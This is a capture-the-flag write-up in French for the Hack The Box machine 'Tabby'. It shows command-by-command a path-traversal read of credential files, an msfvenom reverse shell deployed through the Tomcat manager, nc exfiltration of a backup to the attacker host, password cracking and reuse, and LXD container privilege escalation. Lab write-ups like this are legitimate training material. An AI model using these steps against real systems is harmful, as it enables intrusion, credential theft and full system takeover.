Tabby - Hack The Box

Notes

ebsd

07.11.2020

Table des matières

1 Tabby

Une LFI permet de lire le mot de passe admin de Tomcat. Un reverse shell peut ainsi être déployé. Un mot de passe réutilisé sur un compte membre du groupe d'administration de LXC, une solution de conteneurisation nous conduit à une élévation de privilège.

2 Recon

2.1 nmap

Nous avons deux sites web sur les ports 80 et 8080.

```
kali@kali:~/tabby$ nmap -Pn -p- -sV 10.10.10.194 --open
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-06 15:02 EDT
Nmap scan report for 10.10.10.194
Host is up (0.064s latency).
Not shown: 61519 closed ports, 4013 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open  http    Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.05 seconds
```

2.2 gosbuster

Rien de se côté à priori.

```
kali@kali:~/tabby$ gobuster dir -u http://10.10.10.194 -w /usr/share/wordlists/dirb/big.txt -t
↪  80 -a Linux
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.194
[+] Threads:        80
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     Linux
[+] Timeout:        10s
===============================================================
2020/07/06 15:05:18 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/favicon.ico (Status: 200)
/files (Status: 301)
/server-status (Status: 403)
===============================================================
2020/07/06 15:05:48 Finished
↪
===============================================================
```

Et sur le port 8080.

```
kali@kali:~/tabby$ gobuster dir -u http://10.10.10.194:8080 -w
↪  /usr/share/wordlists/dirb/big.txt -t 80 -a Linux
===============================================================
↪
Gobuster v3.0.1
↪
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
↪
===============================================================
↪
[+] Url:            http://10.10.10.194:8080
↪
[+] Threads:        80
↪
```

```
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
↪
[+] Status codes:   200,204,301,302,307,401,403
↪
[+] User Agent:     Linux
↪
[+] Timeout:        10s
↪
===============================================================
2020/07/06 15:06:44 Starting gobuster
===============================================================
/docs (Status: 302)
/examples (Status: 302)
/manager (Status: 302)
===============================================================
2020/07/06 15:07:24 Finished
===============================================================
```

2.3 curl

2.3.1 port 8080

```
kali@kali:~/tabby$ curl -i http://10.10.10.194:8080 | html2text
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1895  100  1895    0     0  13068      0 --:--:-- --:--:-- --:--:-- 13159
HTTP/1.1 200 Accept-Ranges: bytes ETag: W/"1895-1589929768022" Last-Modified:
Tue, 19 May 2020 23:09:28 GMT Content-Type: text/html Content-Length: 1895
Date: Mon, 06 Jul 2020 19:22:08 GMT <?xml version="1.0" encoding="ISO-8859-1"?>
****** It works ! ******
If you're seeing this page via a web browser, it means you've setup Tomcat
successfully. Congratulations!
This is the default Tomcat home page. It can be found on the local filesystem
at: /var/lib/tomcat9/webapps/ROOT/index.html
Tomcat veterans might be pleased to learn that this system instance of Tomcat
is installed with CATALINA_HOME in /usr/share/tomcat9 and CATALINA_BASE in /
var/lib/tomcat9, following the rules from /usr/share/doc/tomcat9-common/
RUNNING.txt.gz.
You might consider installing the following packages, if you haven't already
done so:
tomcat9-docs: This package installs a web application that allows to browse the
Tomcat 9 documentation locally. Once installed, you can access it by clicking
here.
tomcat9-examples: This package installs a web application that allows to access
the Tomcat 9 Servlet and JSP examples. Once installed, you can access it by
clicking here.
tomcat9-admin: This package installs two web applications that can help
managing this Tomcat instance. Once installed, you can access the manager
webapp and the host-manager_webapp.
```

```
NOTE: For security reasons, using the manager webapp is restricted to users
with role "manager-gui". The host-manager webapp is restricted to users with
role "admin-gui". Users are defined in /etc/tomcat9/tomcat-users.xml.
```

A priori il existe un ancien site. Et je note qu'une installation de `Tomcat` est présente dans `/usr/share/tomcat9`.

2.3.2 port 80

Sur le port 80 on peut visiter cette url.

```
kali@kali:~/tabby$ curl http://megahosting.htb/news.php?file=statement | html2text
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  6507  100  6507    0     0  39436      0 --:--:-- --:--:-- --:--:-- 39676


 Toggle navigation
/img>
    * Home
    * Plans_and_Services
          o Dedicated
          o Servers
          o VPS_Servers
          o Shared_Hosting
          o Colocation
    * Infrastructure
    * News
    * About
    * Support


We apologise to all our customers for the previous data breach.
We have changed the site to remove this tool, and have invested heavily in more
secure servers
```

2.4 url

Elle semble pointer vers un fichier (?file=). Peut êre une LFI ici…

http://megahosting.htb/news.php?file=statement

3 LFI

On a bien une LFI ici. Test avec le fichier `/etc/passwd`. Notons des utilisateurs : `lxd`, `tomcat`, `mysql`et `ash`. Ce sera peut être utile par la suite.

```
kali@kali:~/tabby$ curl http://megahosting.htb/news.php?file=../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash
```

3.1 Configuration tomcat

Avec cette LFI, on devrait pouvoir obtenir le fichier de configuration users qui détient le mot de passe tomcat. Selon le site http://10.10.10.194:8080 tomcat est installé dans /usr/share/tomcat9.

```
kali@kali:~/tabby$ curl
↪  http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-
↪  users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
```

Nous sommes en possession du mot de passe du compte tomcat / `$3cureP4s5w0rd123!`.

3.2 Tomcat manager uri commands

Je peux désormais me connecter à l'interface de gestion. L'accès via la GUI me donne un "access denied". En revanche on peut utiliser les commandes de l'application Manager via des requête URI :

```
http://{host}:{port}/manager/text/{command}?{parameters}
```

Et selon la doc on peut déployer une application ainsi :

```
http://localhost:8080/manager/text/deploy?path=/foo
```

3.3 Java reverse shell

Je prépare un reverse shell, que je vais déployer.

```
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.30 LPORT=443 -f war > shell.war
```

Je déploie une nouvelle application (mon reverse shell).

```
$ curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file shell.war
↪  'http://10.10.10.194:8080/manager/text/deploy?path=/myrevshell'
OK - Deployed application at context path [/myrevshell]
```

Je vérifie le déploiement

```
kali@kali:~/tabby$ curl --user 'tomcat':'$3cureP4s5w0rd123!'
↪  'http://10.10.10.194:8080/manager/text/list'
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:3:/usr/share/tomcat9-admin/host-manager
/myrevshell:running:0:myrevshell
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs
```

Je me connecte sur l'url de mon application fraichement déployée : http://10.10.10.194:8080/myrevshell/ et j'obtiens un shell !

```
kali@kali:~/tabby$ sudo nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.194] 51366
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$
```

4 backup file

Je découvre un fichier backup

```
tomcat@tabby:/var/www/html/files$ ls
16162020_backup.zip  archive  revoked_certs  statement
```

Je télécharge ce fichier

```
kali@kali:~/tabby$ nc -l -p 4444 >16162020_backup.zip
```

Et sur la victime

```
nc -w 3 10.10.14.30 4444 < /var/www/html/files/16162020_backup.zip
```

Je dézippe mais le fichier est protégé par un mot de passe

```
kali@kali:~/tabby$ unzip 16162020_backup.zip
Archive:  16162020_backup.zip
   creating: var/www/html/assets/
[16162020_backup.zip] var/www/html/favicon.ico password:
↪
password incorrect--reenter:
```

4.1 John

Installons zip2john

```
wget https://www.openwall.com/john/k/john-1.9.0-jumbo-1.tar.gz
tar xzvf john-1.9.0-jumbo-1.tar.gz
cd john-1.9.0-jumbo-1/src/
./configure
make
```

Et je force le mot de passe.

```
$ ../run/zip2john ~/tabby/16162020_backup.zip > ~/tabby/16162020_backup.zip.john
$ ../run/john ~/tabby/16162020_backup.zip.john --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it         (16162020_backup.zip)
1g 0:00:00:01 DONE (2020-07-15 15:25) 0.6024g/s 6240Kp/s 6240Kc/s 6240KC/s adnc153..adilizinha
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Je peux maintenant dézipper mais rien d'intéressant !

```
kali@kali:~/tabby$ unzip 16162020_backup.zip
Archive:  16162020_backup.zip
[16162020_backup.zip] var/www/html/favicon.ico password:
  inflating: var/www/html/favicon.ico
   creating: var/www/html/files/
  inflating: var/www/html/index.php
 extracting: var/www/html/logo.png
  inflating: var/www/html/news.php
  inflating: var/www/html/Readme.txt
```

5 LXD group

Je m'intéresse maintenant aux comptes users et dans /etc/passwd. J'avais noté - via la LFI - la présence d'un user ash.

```
ash:x:1000:1000:clive:/home/ash:/bin/bash
```

Ce compte dispose-t-il du même mot de passe que le fichier zip ? Oui !

```
tomcat@tabby:/var/www/html$ su - ash
Password: admin@it
ash@tabby:~$
```

Le flag user est là.

```
ash@tabby:~$ ls
ls
user.txt
```

ash est membre d'un groupe intéressant : LXD.

```
ash@tabby:~$ id
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
```

6 LXD priv esc

LXD devrait me permettre une élévation de privilèges, grâce à un conteneur alpine.

> https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

Sur l'attaquant, je clone alpine et je le met à dispo via un serveur web.

```
$ git clone https://github.com/saghul/lxd-alpine-builder.git
$ cd lxd-alpine-builder
$ sudo bash build-alpine
$ ls
alpine-v3.12-x86_64-20200720_1351.tar.gz  build-alpine  LICENSE  README.md

$ sudo python -m SimpleHTTPServer 80
```

Sur la victime, je télécharge l'image alpine.

```
ash@tabby:~$ wget 10.10.15.34/alpine-v3.12-x86_64-20200720_1351.tar.gz
```

Et j'importe l'image.

```
ash@tabby:~$ lxc image import alpine-v3.12-x86_64-20200720_1351.tar.gz --alias mylvx
ash@tabby:~$ lxc image list
lxc image list
+-------+--------------+--------+-------------------------------+--------------+-----------+--
↪  ------+--------------------------------+
| ALIAS | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |
↪  SIZE  |         UPLOAD DATE          |
+-------+--------------+--------+-------------------------------+--------------+-----------+--
↪  ------+--------------------------------+
| mylvx | 345bdbace743 | no     | alpine v3.12 (20200720_13:51) | x86_64       | CONTAINER |
↪  3.04MB | Jul 20, 2020 at 6:10pm (UTC) |
+-------+--------------+--------+-------------------------------+--------------+-----------+--
↪  ------+--------------------------------+

lxc init mylvx ignite -c security.privileged=true
```

```
lxc config device add mylvx mmydevice disk source=/ path=/mnt/root recursive=true
lxc start mylvx
lxc exec mylvx /bin/sh
```